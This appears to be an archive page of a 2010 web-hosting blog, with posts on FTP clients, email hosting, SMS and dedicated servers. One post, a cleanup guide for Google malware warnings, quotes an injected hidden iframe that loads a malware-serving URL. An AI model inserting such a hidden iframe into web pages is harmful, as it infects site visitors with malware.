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benefits of filezilla.

September 30th, 2010

FileZilla is powerful Open Source FTP/SFTP client with many features. It includes a site manager to store all your connection details and logins as well as an Explorer style interface that shows the local and remote folders and can be customized independently. The program offers support for firewalls and proxy connections as well as SSL and Kerberos GSS security. Additional features include keep alive, auto ascii/binary transfer, download queue, manual transfers, raw FTP commands and more. A nice program for beginners and advanced user alike.

The main features and benefits of FileZilla include: Easy to use. Supports FTP, FTP over SSL/TLS (FTPS) and SSH File Transfer Protocol (SFTP). Cross-platform. Runs on Windows, Linux, BSD, OSX and more. Available in many languages. Supports resume and transfer of large files >4GB. Powerful Site Manager and transfer queue. Drag and drop support. Configurable Speed limits. Filename filters. Network configuration wizard.

FileZilla 3.3.4.1 is a FTP Software product from filezilla.sourceforge.net, get 5 Stars SoftSea Rating, FileZilla is a small but strong FTP client with many features. It includes a site manager to store all your connection details and logins as well as an Explorer style interface that shows the local and remote folders and can be customized independently. Its very easy-to-use.
FileZilla support for firewalls and proxy connections as well as SSL and Kerberos GSS security. Additional features include keep alive, auto ascii/binary transfer and more. A nice software for beginners and advanced user alike.
FileZilla is a fast and reliable cross-platform FTP, FTPS and SFTP client with lots of useful features and an intuitive interface. Among others, the features of FileZilla include the following:
1. Easy to use
2. Supports FTP, FTP over SSL/TLS (FTPS) and SSH File Transfer Protocol (SFTP)
3. Cross-platform. Runs on Windows, Linux, *BSD, OSX and more
4. Available in many languages
5. Supports resume and transfer of large files >4GB
6. Powerful Site Manager and transfer queue
7. Drag & drop support
8. Configurable Speed limits
9. Filename filters
10. Network configuration wizard
FileZilla Features:
* Ability to resume Uploads/Downloads (if the server supports it)
* Custom Commands
* Site Manager with folders
* Keep Alive system
* Timeout detection
* Firewall support
* SOCKS4/5 and HTTP1.1 Proxy support
* SSL secured connections
* SFTP support
* Upload/Download Queue
* Drag&Drop
* Multi-language support
* GSS authentication and encryption using Kerberos
* FileZilla is a fast FTP and SFTP client for Windows with a lot of features. FileZilla Server is a reliable FTP server. SoftSea.com had fully tested, reviewed and uploaded the install files, FileZilla does not contain any adware or spyware, the latest version is 3.3.4.1, you can download this ftp software software (6.01 MB) from special server of SoftSea.com. The license of this networking software is Free, you can free download and free use this ftp software software.

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Email Anti-virus protection?

September 28th, 2010

The email correspondence is one of the basic methods of spreading viruses. Some of the most deadly email worms and Trojan horses can be delivered to your personal or office computer as an attached file in an e-mail. The Email Anti-virus protection service enables your email provider to scan automatically all your e-mails for viruses, Trojan horses and worms and block them from being delivered if a threat is found. In this way, the Anti-Virus software installed on the server helps improve the server’s and your personal computer’s security at once.
With ClamAV, one of the most widely used and efficient mail security solutions available online, NTC Hosting guarantees that your email addresses will be protected from any kind of threat including known and unknown viruses, worms, phishing and Trojans.

Viruses are most commonly spread via email attachments. This is why you should setup your anti-virus software to automatically scan emails. Before opening an email attachment ask yourself three questions:

1. Is the email from a trusted source?
2. Does the attachment filename end with “.exe”, “.ini”, “.bat”, “.pif”. “.vbs”? These are executable files that can launch dangerous programs.
3. Does the attachment’s icon look like an executable (program) file?
If an attachment is suspicious – delete it!

Do’s and Dont’s

Do
- Use anti-virus software and always have it running.
- Update your virus software’s virus encyclopedia regularly. New viruses are being found repeatedly, therefore if your software isn’t up-to-date it won’t find and destroy them all.

Dont
- View or run email attachments unless you’re happy that they’re safe.
- Run software downloaded from obscure websites, or through file sharing applications without first checking the file for viruses. These sources are notorious for providing virus or Trojan infected files.

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An electronic mailing list.

September 28th, 2010

An electronic mailing list is a special usage of email that allows for widespread distribution of information to many Internet users. It is similar to a traditional mailing list — a list of names and addresses — as might be kept by an organization for sending publications to its members or customers, but typically refers to four things — a list of email addresses, the people (“subscribers”) receiving mail at those addresses, the publications (e-mail messages) sent to those addresses, and a reflector, which is a single e-mail address that, when designated as the recipient of a message, will send a copy of that message to all of the subscribers.

How automated electronic mailing lists work
Electronic mailing lists are usually fully or partially automated through the use of special mailing list software and a reflector address that are set up on a server  capable of receiving email. Incoming messages sent to the reflector address are processed by the software, and, depending on their content, are acted upon internally (in the case of messages containing commands directed at the software itself) or are distributed to all e-mail addresses subscribed to the mailing list. Depending on the software, additional addresses may be set up for the purpose of sending commands.

Many electronic mailing list servers have a special email address in which subscribers (or those that want to be subscribers) can send commands to the server to perform such tasks as subscribing and unsubscribing, temporarily halting the sending of messages to them, or changing available preferences. The common format for sending these commands is to send an email that contains simply the command followed by the name of the electronic mailing list the command pertains to. Examples: subscribe anylist or subscribe anylist John Doe. Some list servers also allow people to subscribe, unsubscribe, change preferences, etc. via a website.

Electronic mailing list servers can be set to forward messages to subscribers of a particular mailing list either individually as they are received by the list server or in digest form in which all messages received on a particular day by the list server are combined into one email that is sent once per day to subscribers. Some mailing lists allow individual subscribers to decide how they prefer to receive messages from the list server (individual or digest).

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Risks & problems in email hosting.

September 24th, 2010

For corporations with more than a hundred mailboxes, the requirement for their email facilities is clearly more demanding than that of small business users. Email archiving, privacy and escalation are important issues that they have to be deal with. It is therefore important for corporations to understand the risks and problems involved, in order to find the best way to streamline their email infrastructure. Here are some things to consider:

1) Limited email storage: Having trouble with limited email storage? For those of you who are outsourcing your email services, chances are you’ve been allocated with a limited storage facility that will be split up between a huge numbers of users.

For those of you who are hosting your own email service, the problem is probably due to limited storage space. It seems not many email service providers care enough to upgrade their storage space, although hard drives are a lot cheaper nowadays.

With limited storage, such as 200MB per mailbox, users can’t even leave a copy of their messages in the server. Instead, they have to download and delete emails frequently, even when they are on holiday, because otherwise, the mailbox will be full. Because of this, their webmail becomes useless as their Webmail’s Inbox is always empty.

2) Upkeep of mailboxes

Here’s another thing, tech people are usually reluctant to maintain the mailboxes hosted in their email servers. Why? Because they’re offered unlimited mailbox plans. This means, they don’t have to remove the mailbox of the staff who’s just left, or check if the forwarding features are correctly configured. This poses a risk to businesses.

3) Lost emails: Have you ever lost an email? It is likely that this happened because your email service provider has a poorly configured scanner that filters and drops legitimate emails into your Spam box. When this happens, who’s to blame? Their Spam tech are pretty unreliable. The real nightmare, however, occurs, when you’ve lost your email completely! Most email servers are setup on a small scale. This means, you have all your email services (POP, SMTP, Webmail, etc) installed in a single physical server. What would you do if you lost your email? Is there an archiving solution that keeps a copy of all your incoming and outgoing emails in a safe place?

4) Why isn’t my email working?
A lot of shared hosting customers use their accounts for email and that’s about it. Because of this, a lot of questions are about email. Common reasons for email not working are:

  • The entire account and/or email account are exceeding their respective disk quotas
  • The password is incorrect
  • The account is configured incorrectly
  • There is a server level issue.

To fix these issues, check out your account and the configuration of your account in your email client first. See if email can be sent from webmail. If it can, then the problem is likely with the configuration of your desktop client. Try setting it up again, and if it still doesn’t work, ask your host to check into the account further.

5) Email privacy: Did you know that ANY email hosting provider can access your email account? They also have 101 ways to keep a tab on your email activity without you being aware of it! Just like a car manufacturer will have their 101 ways to start your car without a key, the same goes with email service providers. So pick a reliable one, one that you can trust, and make sure that it has the facility and trained personnel to make sure your data is safe. Make sure they can handle your email’s privacy carefully too!

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what is email hosting?

September 24th, 2010

Definitions of Email hosting:

An e-mail hosting service is an Internet hosting service that runs e-mail servers.

In its purest form, this refers to a form of hosting specifically geared towards email. Although there are many companies who provide email hosting, independent of web hosting, the vast majority of users on the internet use email accounts provided by their ISP or web host provider….

Email hosting is a very valuable resource these days, with the explosion in demand for email services and the huge number of people who send and receive email messages every day. Email hosting can be a very attractive option for companies, especially as a means of gaining new customers.

Companies that offer email hosting necessarily have large server resources. Here’s why: Email hosting is potentially a very large enterprise, depending on how many bells and whistles are offered. Email hosting means that a company offers to perform email functions for customers. These functions can be as basic as send and receive and as complicated as database processing and global searching. By agreeing to provide email hosting, a company must necessarily agree to maintain the security of its clients’ email accounts, as well as the reliability of the servers on which those email accounts are stored. It is common practice for a company that offers email hosting to store its customers’ email archives on its own servers. Because of the always-on nature of email, the company that offers email hosting must also have server power that is always on.

Email hosting is provided by companies large and small. Such well-known companies as Yahoo, Google, and Microsoft offer email hosting. It is the stated intent of these companies to offer email hosting as a stepping-stone toward signing up users for even more services. Yahoo and Microsoft, in particular, offer so many services that some users can meet all of their Web needs without ever leaving the pages hosted by those providers.

Email hosting that is provided by such large companies is usually free for the most basic suite of services. More complicated needs, especially storage of email messages, routinely cost extra. Some smaller companies offer free email hosting; others charge for it. The incredible varieties of email hosting options available make it a buyer’s market.

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Web development as an industry

September 23rd, 2010

Since the mid-1990s, web development has been one of the fastest growing industries in the world. In 1995 there were fewer than 1,000 web development companies in the United States, but by 2005 there were over 30,000 such companies in the U.S. alone. The growth of this industry is being pushed by large businesses wishing to sell products and services to their customers and to automate business workflow.

In addition, cost of Web site development and hosting has dropped dramatically during this time. Instead of costing tens of thousands of dollars, as was the case for early websites, one can now develop a simple web site for less than a thousand dollars, depending on the complexity and amount of content. Smaller Web site development companies are now able to make web design accessible to both smaller companies and individuals further fueling the growth of the web development industry. As far as web development tools and platforms are concerned, there are many systems available to the public free of charge to aid in development. A popular example is the LAMP (Linux, Apache, MySQL, PHP), which is usually distributed free of charge. This fact alone has manifested into many people around the globe setting up new Web sites daily and thus contributing to increase in web development popularity. Another contributing factor has been the rise of easy to use WYSIWYG web development software, most prominently Adobe Dreamweaver, Netbeans, WebDev, or Microsoft Expression Studio, Adobe Flex. Using such software, virtually anyone can develop a Web page in a matter of minutes. Knowledge of HyperText Markup Language (HTML), or other programming languages is not required, but recommended for professional results.

The next generation of web development tools uses the strong growth in LAMP, Java Platform, Enterprise Edition technologies and Microsoft .NET technologies to provide the Web as a way to run applications online. Web developers now help to deliver applications as Web services which were traditionally only available as applications on a desk based computer.

Instead of running executable code on a local computer, users are interacting with online applications to create new content. This has created new methods in communication and allowed for many opportunities to decentralize information and media distribution. Users are now able to interact with applications from many locations, instead of being tied to a specific workstation for their application environment.

Examples of dramatic transformation in communication and commerce led by web development include e-commerce. Online auction sites such as eBay have changed the way consumers consume and purchase goods and services. Online resellers such as Amazon.com and (among many, many others) have transformed the shopping and bargain hunting experience for many consumers. Another good example of transformative communication led by web development is the blog. Web applications such as WordPress and Movable Type have created easily implemented blog environments for individual Web sites. Open source content management systems such as Joomla!, Drupal, XOOPS, and TYPO3 and enterprise content management systems such as Alfresco have extended web development into new modes of interaction and communication.

In addition, web development has moved to a new phase of Internet communication. Computer web sites are no longer simply tools for work or commerce but used most for communication. Websites such as Facebook and Twitter provide users a platform to freely communicate. This new form of web communication is also changing e-commerce through the number of hits and online advertisement.

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about short code

September 23rd, 2010

Definitions of Short code:

  • Short codes (also known as short numbers) are special telephone numbers, much shorter than full telephone numbers, that can be used to address SMS and MMS messages from mobile phones or fixed phones. There are two types of short codes: dialing and messaging.
  • Short Code was one of the first higher-level languages ever developed for an electronic computer. Sebesta,W.S Concepts of Programming languages. 2006;M6 14:18 pp.44. ISBN# 0-321-33025-0 unlike machine code, Short Code statements represented mathematic expressions rather than a machine instruction.
  • Is a chip sequence which is 2 15 chips long which repeats every 26.666 milliseconds. Different cells and cell sectors all use the same short code, but use different phases of it, which is how the phone differentiates them from each other. The phase is known as the PN Offset. …

Use of the Short code:

Common uses of Short Codes include alert services, contests, coupons, and opt-in marketing lists. Short Codes make it easy for consumers to respond to and engage with your advertising and marketing programs.

In addition to speed and ease of use, Common Short Codes provide consumers with an unparalleled level of control, as all CSC-based mobile marketing programs do.

welcomes you to the exciting World of Mobile SMS Shortcodes and Longcode Services. Today’s cutting-edge Mobile and Cellular Technology has changed the way we live and work. Short Code Messaging (SMS) service avails one stop interaction media through which we could interact with our customers directly and conduct various Media Promotion events like Contests/ Survey, Lucky Winner Draw, Bids, Product Enquiries, Lead generation in a cost effective manner.

SMS Short code service is primarily used for lead generation or receiving feedbacks from the customers. In a shared short code environment every company which wants to avail this service will be provided with a Keyword (Keyword is an unique identifier for your company on our shared short code. e.g. if, your companies name is XYZ Ltd and you took a keyword say XYZL on our short code then every message which starts with XYZL and a blank space will be forwarded to your panel. In short we recognize the incoming messages on the basis of keywords and forward it to the respective companies account.

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managed & unmanaged dedicated web hosting.

September 21st, 2010

Major Websites and businesses in demand of reliability, top security and a high amount of resources will significantly benefit from choosing dedicated hosting. In the web hosting business, the dedicated servers, also referred to as dedicated hosting, are the Rolls Royce. A dedicated server is a powerful computer that is used solely as a network server; a single computer in a network reserved for network needs. It refers to the rental and exclusive use of a computer and it provides services for only one account or domain name. It is therefore solely for use by one organization, and is leased and stored in the data centre of the host company.

Dedicated hosting in two flavors: managed and unmanaged hosting

Commonly, unmanaged hosting plans include hardware, operating system, web server and Internet connection. Managed plans however include the basics and pretty much everything else, the only thing you need to worry about is your web site and content.

A dedicated server could also be a computer that manages printer resources. However, it is important to note that not all servers are dedicated. In some networks, it is possible for a computer to act as a server and perform other functions as well.

Managed:

When you choose to self-manage your dedicated hosting solution from The Planet, server and application management, as well as any system administration is up to you. If you don’t have the knowledge, time, or IT support to manage your own website, managed hosting serviced are perfect for you.
Managed dedicated hosting comes with a full suite of technical support and maintenance services. Companies providing managed hosting solutions will monitor and maintain all of your infrastructure: software, hardware, even the server itself. Managed hosting services will obtain, configure, install and watch over the programs and architecture you require, from the operating system on.Managed Dedicated Server solutions are ideal for:

  • Hosting resellers that have outgrown their current reseller package
  • Mid-sized to large organizations that do not want to share server resources with other shared hosting customers

Unmanaged:

Unmanaged Dedicated Web Hosting is recommended only for those people who have solid server administration experience as it provides root access to the server. This offers complete server administration, thus the possibility to configure every service on your web server.

An Unmanaged Dedicated Server leaves nearly all the server management duties in the purchaser’s control. The customer updates software on their own, applies necessary patches, performs kernel compiles and operating system restores, installs software, and monitors security.

Do your research because getting that financially friendly, cheap dedicated web hosting plan will be easy. The list above will be able to guide you; otherwise you can conduct an advanced search to specify your hosting requirements.

A dedicated server is often the most expensive web hosting option you can choose, so it’s important to get a wide selection so that you can make sure to get the best features you can for the best price that you can. Countries like India is the major software exporter with a rapidly growing economy, so web hosting companies in India know how to handle your business.

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Solution for ‘This site may harm your computer’ Message

September 21st, 2010

Solution for ‘This site may harm your computer’ Message

We run a web hosting company and recently we noticed many customers completing acting weird with the following messages in google search results and when they access it. When they do a site:mywebsite.com search in google, they get a message below the search result stating that ‘This site may harm your computer.’ which is making lose visitors, apart from which many peoples not able to access website. What may be the problem, because when they try to visit website they get a message stating that – ‘Reported Attack Site!’ and it says that my website is trying to install programs which can steal private information or damage the visitors computers but they run a genuine information website and have no downloads nor any illegal material. What may be the solution for this problem and website hacked? – Question by a Reader through Phone

First of all you need to understand that these are some badware warning against malicious software which is given by Google through stopbadware.org which warns all the google searchers against visiting websites which can be harmful to them. You need to detect malware and also visit the google safe browsing section which lists all the information about different websites and if they were listed as suspicious in the last 90days.

Reported Attack Website – Harmful Content

Sometimes because of some wrong permissions on your website scripts like wordpress or when you have easy passwords for your FTP accounts, your websites can be compromised after which these hackers would add some malicious links within your content or in the footer section using direct links with visibility=0 or else using iFrames. You need to continuously make sure that your websites content is secure and you have no links placed by the hackers anywhere on your ftp.

Read this wordpress security guide which can give you some important points you need to make note of while running a blog and also here are some plugins which you need to run on your wordpress blog to make sure you can regularly scan for the content of your blog and all he plugin files and theme files.


Harmful Websites Google Warning

Our Experience :
Recently after making a quick check on our website, we found that there were some iframe codes added to our website homepage which we could not detect. So because of this for many customer our website was not  accessible the website with a virus message.  Many antivirus software even removed the virus from user which got downloaded, and then user recieved the following message :

HTTP filter file http://www.emailloop.net  PDF/Exploit.Pidief.OJS.Gen trojan connection terminated – quarantined  Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.

When we review our site we found the following iframe added to the files at the end which is the reason the homepage was continiously loading like a loop and was also breaking the theme files, though as a normal user anyone cannot find out this malicious code in the blog, unless the antivirus softwares can find them.

<iframe src=”http://brugeni.net/?click=44E729″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Solution for Removing the iFrames :
There are several wordpress plugins which can help you stay secure by checking all the file permissions, blog content and your ftp files. Here are few recommendations :

* WP Security Scan -
Scans your WordPress installation for security vulnerabilities and suggests corrective actions. You need to install this plugin in your wordpress blog and then activate it, following which you will find a complete new menu called as ‘WP – Security Admin Tools’ where you can find all the System Information & links to scanner where you can find all the current permissions of the files under your root folder and the permissions you need to change for more security.
-passwords
-file permissions
-database security
-version hiding
-WordPress admin protection/security
* Secure WP Plugin
This plugin is very useful because it does a lot of stuff by creating some pages which can be accessed by others and removing info from your website which should not be allowed to be accessed by others.

# removes error-information on login-page
# adds index.html to plugin-directory (virtual)
# removes the wp-version, except in admin-area
# removes Really Simple Discovery
# removes Windows Live Writer
# remove core update information for non-admins
# remove plugin-update information for non-admins

Steps to Remove the Warning :
Once the warning is shown for your website, expect 0% visitors for your website from Google because the warning message will block the visitors from entering into the site. You need to get this warning removed by Google as soon as possible and for this the very first step would be to remove the malicious links, hackers codes or any other stuff which was the cause of this warning. Once you are sure that you have found the problem and removed those codes you need to proceed to the next step of contacting Google.

Login to your Google Webmaster tools account which is also useful for regaining google rankings. You need to make sure you have added your website in the Webmaster Tools by confirming that you are owner by adding the ‘Meta’ code or uploading a file which it offers you. Once this is done you need to perform the following 3 steps and wait for Google Webmaster Team to review your website and confirm that your website does not distribute badware or hosts it.

1. On the Webmaster Tools Home page, select the site you want.
2. In the Parts of this site may be distributing malware message, click More details.
3. Click Request a review.

Previously it used to take a lot of time for this procedure but nowadays within 2-3days time frame the websites are reviewed and the warning is removed.  Let me know if you have any questions about this problem and if your website is attacked with any of this kind of problems.

Read more  Iframe / Virus in Website Pages, How to Fix Iframe issue

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Uses of Bulk SMS

September 20th, 2010
  1. Marketing: Bulk sms has proved to be the cheapest form of marketing till now. It has helped many companies reach their clients or prospective clients in time. With the use of sms services many people can be contacted at a single point of time and you can enter their life through their mobile phone.
  2. Alerts: This service is basically used by people who provide alerts services like share market updates, commodities alerts etc. These people need the sms to reach their clients faster. Some of the companies may also call it as Premium SMS services. With the help of these services the alerts can be provided to a person irrespective of what is he/she is doing. You are not disturbing the person and yet delivering the update and whenever the person is interested, he/she can use the information.
  3. Information: Some of the organizations such as educational institutions use the sms services to send updates to the students regarding the class timings as well as changing in schedule or any information that needs to be transferred. Although sms method is not popularly used for transferring information till now. But it is at a stage when it can grow too many higher levels.

Above are some of the uses of bulk sms services. Likewise, there are many more uses which come in the sub-categories of the above three exploring the uses of bulk sms. Many companies provide these services but as a said there is difference between cheap sms and premium sms service. www.WeDealsIndia.com is one of the companies which have excelled the field of sms marketing. They provide both solutions cheap sms as well as premium sms to send group sms all over India. With the use of their services you can reach people all over India using bulk sms and many more services like sms short codes .

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